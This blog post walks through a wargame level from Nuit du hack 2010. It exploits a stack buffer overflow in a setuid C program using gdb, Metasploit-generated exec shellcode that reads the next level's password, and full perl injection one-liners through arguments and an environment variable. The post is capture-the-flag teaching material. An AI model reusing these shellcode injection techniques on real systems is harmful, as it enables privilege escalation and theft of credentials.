This article describes the resolution of the french "Nuit du hack 2010" wargame test n°5. This is a variation of an exploitation of buffer-overflow. New: we use the console version of Metasploit. We present the injection of code through an environment variable of the system.
solution
$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
the buffer-overflow
See the source code:
level5@srv-public:~$ cat ./level5.c
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
// gcc -o level5 level5.c -fno-stack-protect or -z execstack -mpreferred-stack-boundary=2
void setArray(int frame, int value) {
int array[32];
array[frame] = value;
printf("fill case %d with %d.\n", frame, value);
return;
}
int main(int argc, char **argv) {
if (argc != 3)
printf("syntax: %s [slot] [val]\n", argv[0]);
else
setArray(atoi(argv[1]), atoi(argv[2]));
exit(0);
}
The function setArray() begins with an array of 32 integers. As we control the argument frame, we can write in the 32nd cell (or more. cells attended are between 0 and 31). Because of that, we can overflow the buffer allocated to the array. We choose 33, you'll see later why.
level5@srv-public:~$ ./level5 33 1
fill case 33 with 1.
Erreur de segmentation
Tip: the buffer overflow is controled by the array length.
Control the return address
Let's use gdb
level5@srv-public:~$ gdb level5Put a breakpoint on instruction RET of function setArray()
(gdb) disassemble setArray
Dump of assembler code for function setArray:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x8c,%esp
0x0804842d <+9>: mov 0x8(%ebp),%eax
0x08048430 <+12>: mov 0xc(%ebp),%edx
0x08048433 <+15>: mov %edx,-0x80(%ebp,%eax,4)
0x08048437 <+19>: mov $0x8048580,%eax
0x0804843c <+24>: mov 0xc(%ebp),%edx
0x0804843f <+27>: mov %edx,0x8(%esp)
0x08048443 <+31>: mov 0x8(%ebp),%edx
0x08048446 <+34>: mov %edx,0x4(%esp)
0x0804844a <+38>: mov %eax,(%esp)
0x0804844d <+41>: call 0x8048340
0x08048452 <+46>: leave
0x08048453 <+47>: ret
End of assembler dump.
(gdb) break * setArray+47and run
Breakpoint 1 at 0x8048453
(gdb) run 33 1
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x00000001 in ?? ()
we can write directly on the return address. Indeed, as the array is defined at the beginning of the function, the stack is like that:
+-----------------+
| array |
+-----------------+
| ebp |
+-----------------+
| eip |
+-------- --------+
a signed or unsigned integer is coded on 4 bytes (32 bits), which corresponds to a memory word (with 32 bits processors). So, when we write in the 32nd cell of the array, we crush ebp. When we write in 33rd cell, we crush directly eip.
payload
Use Metsploit to generate the payload. The default encoder puts /x00 in shellcode. So we change it:
$ msfconsole
msf > use payload/linux/x86/exec
msf payload(exec) > set ENCODER [TAB][TAB]
set ENCODER cmd/generic_sh set ENCODER sparc/longxor_tag set ENCODER x86/countdown
set ENCODER cmd/ifs set ENCODER x64/xor set ENCODER x86/fnstenv_mov
set ENCODER cmd/printf_util set ENCODER x86/alpha_mixed set ENCODER x86/jmp_call_additive
set ENCODER generic/none set ENCODER x86/alpha_upper set ENCODER x86/nonalpha
set ENCODER mipsbe/longxor set ENCODER x86/avoid_utf8_tolower set ENCODER x86/nonupper
set ENCODER mipsle/longxor set ENCODER x86/call4_dword_xor set ENCODER x86/shikata_ga_nai
set ENCODER php/base64 set ENCODER x86/context_cpuid set ENCODER x86/single_static_bit
set ENCODER ppc/longxor set ENCODER x86/context_stat set ENCODER x86/unicode_mixed
set ENCODER ppc/longxor_tag set ENCODER x86/context_time set ENCODER x86/unicode_upper
msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed
msf payload(exec) > set CMD "cat ../level6/passwd"
CMD => cat ../level6/passwd
msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level6/passwd
buf =
"\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42" +
"\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58" +
"\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62" +
"\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55" +
"\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35" +
"\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63" +
"\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61" +
"\x4a\x6d\x4f\x70\x41\x41"
injection of the payload, method 1: in the buffer provided by main() (needs gdb)
injection of the payload
We will inject the payload in the second argument of function main():
$ ./level5 33 [EXPLOIT]
Our exploit will be pushed on the stack by main(). Then the function atoi() will be called and the result will be pushed higher on the stack (put in the buffer of the array). the function atoi() will output only the first integers found in the string, without taking into account the following characters in the string. Let's see that:
(gdb) file level5First, we fill case 33 with 1
Reading symbols from /home/level5/level5...(no debugging symbols found)...done.
(gdb) break * setArray+47
Breakpoint 1 at 0x8048453
(gdb) run 33 1the function atoi() returns 1. Now fill it with 1A. We can see that A is not interpreted by function atoi():
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x00000001 in ?? ()
(gdb) run 33 1A
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 1A
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x00000001 in ?? ()
Tip: atoi() interpret only integers, not characters.
So we can inject [ADDRESS][A][NOPs][PAYLOAD]The whole string is 376 bytes long
[ADDRESS] = 4 octets
[A] = 1 octet
[NOPs] = 197 octets
[PAYLOAD] = 174 octets
Payload address
search for the main() arguments address in the memory. The test argument size should have the same size as our future shellcode.Tip: To find the jump address to the payload, the test argument should be the same size as the exploitation shellcode.
(gdb) break * mainThe buffer's adress is 0xbffff82a.
(gdb) run 33 $(perl -e 'print "A"x376')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 $(perl -e 'print "A"x376')
fill case 33 with 0.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) x/300x $esp
(...)
0xbffff808: 0x69000000 0x00363836 0x2f000000 0x656d6f68
0xbffff818: 0x76656c2f 0x2f356c65 0x6576656c 0x3300356c
0xbffff828: 0x41410033 0x41414141 0x41414141 0x41414141
0xbffff838: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff848: 0x41414141 0x41414141 0x41414141 0x41414141
(...)
As we add 200 NOP, we can choose addresses between 0xbffff82a and 0xbffff8f2, and turn it into decimals. We choose for example 0xbffff870 (avoid \x00 and \x20 ).
But atoi() returns a signed integer. That means that 1 returns 0x00000001 and -1 returns 0xffffffff. The absolute value limit is 0x7fffffff. See:
(gdb) run 33 4000000000000000
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 4000000000000000
fill case 33 with 2147483647.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x7fffffff in ?? ()
Tip: use a negative integer to jump on the payload
0xbffff870 => - 0x4000078f => -1073743760Here is the exploit:
[ADDRESS] = "-1073743759"
[A] = "A"
[NOPs} = $( perl -e 'print "\x90"x197' )
[PAYLOAD] = "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"
Let's try it:
$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
MOT DE PASSE
injection of the payload: method 2 : in an environment variable
injection of the payload
copy the NOP and the payload in an environment variable:level5@srv-public:~$ export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
address of the payload
Here is a program to find the address of the shellcode. (careful! we added spaces in #include because of a bug in blogspot)level5@srv-public:~$ vim /tmp/inject.ccompile
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>
int main(int argc, char **argv) {
char *ptr;
ptr = getenv(argv[1]);
if( ptr == NULL )
printf("%s not found\n", argv[1]);
else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
return 0;
}
level5@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.crun
level5@srv-public:~$ /tmp/getenvaddress LOLturn this address into decimals and add 100 bytes (to jump into the NOPs)
LOL found at bffffe5d
0xbffffe5d => -0x400001a2 => -1073742242 => -1073742142
and inject:
level5@srv-public:~$ ./level5 33 -1073742142
fill case 33 with -1073742142.
MOT DE PASSE
references
linux x86 exec payload options - http://www.metasploit.com/modules/payload/linux/x86/exectuto msf console - http://www.offensive-security.com/metasploit-unleashed/msfconsole
getenv() - http://www.opengroup.org/onlinepubs/000095399/functions/getenv.html
Aucun commentaire:
Enregistrer un commentaire